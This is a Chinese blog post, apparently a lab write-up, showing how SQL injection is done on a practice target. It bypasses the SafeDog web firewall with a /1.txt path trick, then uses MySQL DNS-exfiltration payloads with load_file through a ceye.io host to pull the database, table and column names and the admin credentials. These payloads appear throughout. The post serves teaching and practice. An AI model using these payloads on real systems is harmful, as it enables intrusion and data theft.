首先进入靶场:http://59.63.200.79:8014/index3.php 利用平台:ceye.io

然后加入?Id=1以及一系列单引号,and order sleep()之类的测试发现好多都被禁止。

根据阿帕奇服务的白名单机制绕过安全狗,在?id=1之前加/1.txt
http://59.63.200.79:8014/index3.php/1.txt?id=1%20and%20sleep(10)

发现sleep()函数被执行了,安全狗被绕过。
然后使用load_file()函数进行mysql-dns注入:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select database()),’.ergl65.ceye.io/abs’)))
需要注意的点:
中间连接需要用and 而且后面的select查询语句需要使用括号括起来,这是我做时的两个需要注意的点。


现在知道了库名为mangzhu,接着使用联合查询查表名、字段名:
(select load_file(concat(‘//‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.ergl65.ceye.io/abs’)))


发现表名依次为admin、news
接着查admin表中字段:(select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_name=’admin’ limit 0,1),’.ergl65.ceye.io/abs’)))




测得字段为id.username.password.Id. 然后是news表:
(select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_name=’news’ limit 0,1),’.ergl65.ceye.io/abs’)))

获得字段为:id、content.
接着查表中内容:(select load_file(concat(‘//‘,(select username from admin limit 0,1),’.ergl65.ceye.io/abs’)))

Admin表内容:flag、1flag1good1、1
News表中内容:都是1,所以flag在admin表中。

这节课中还有一个要注意的地方是’.ergl65.ceye.io/abd’会成功。’.ergl65.ceye.io’不会成功。
来源:oschina
链接:https://my.oschina.net/u/4327542/blog/3373504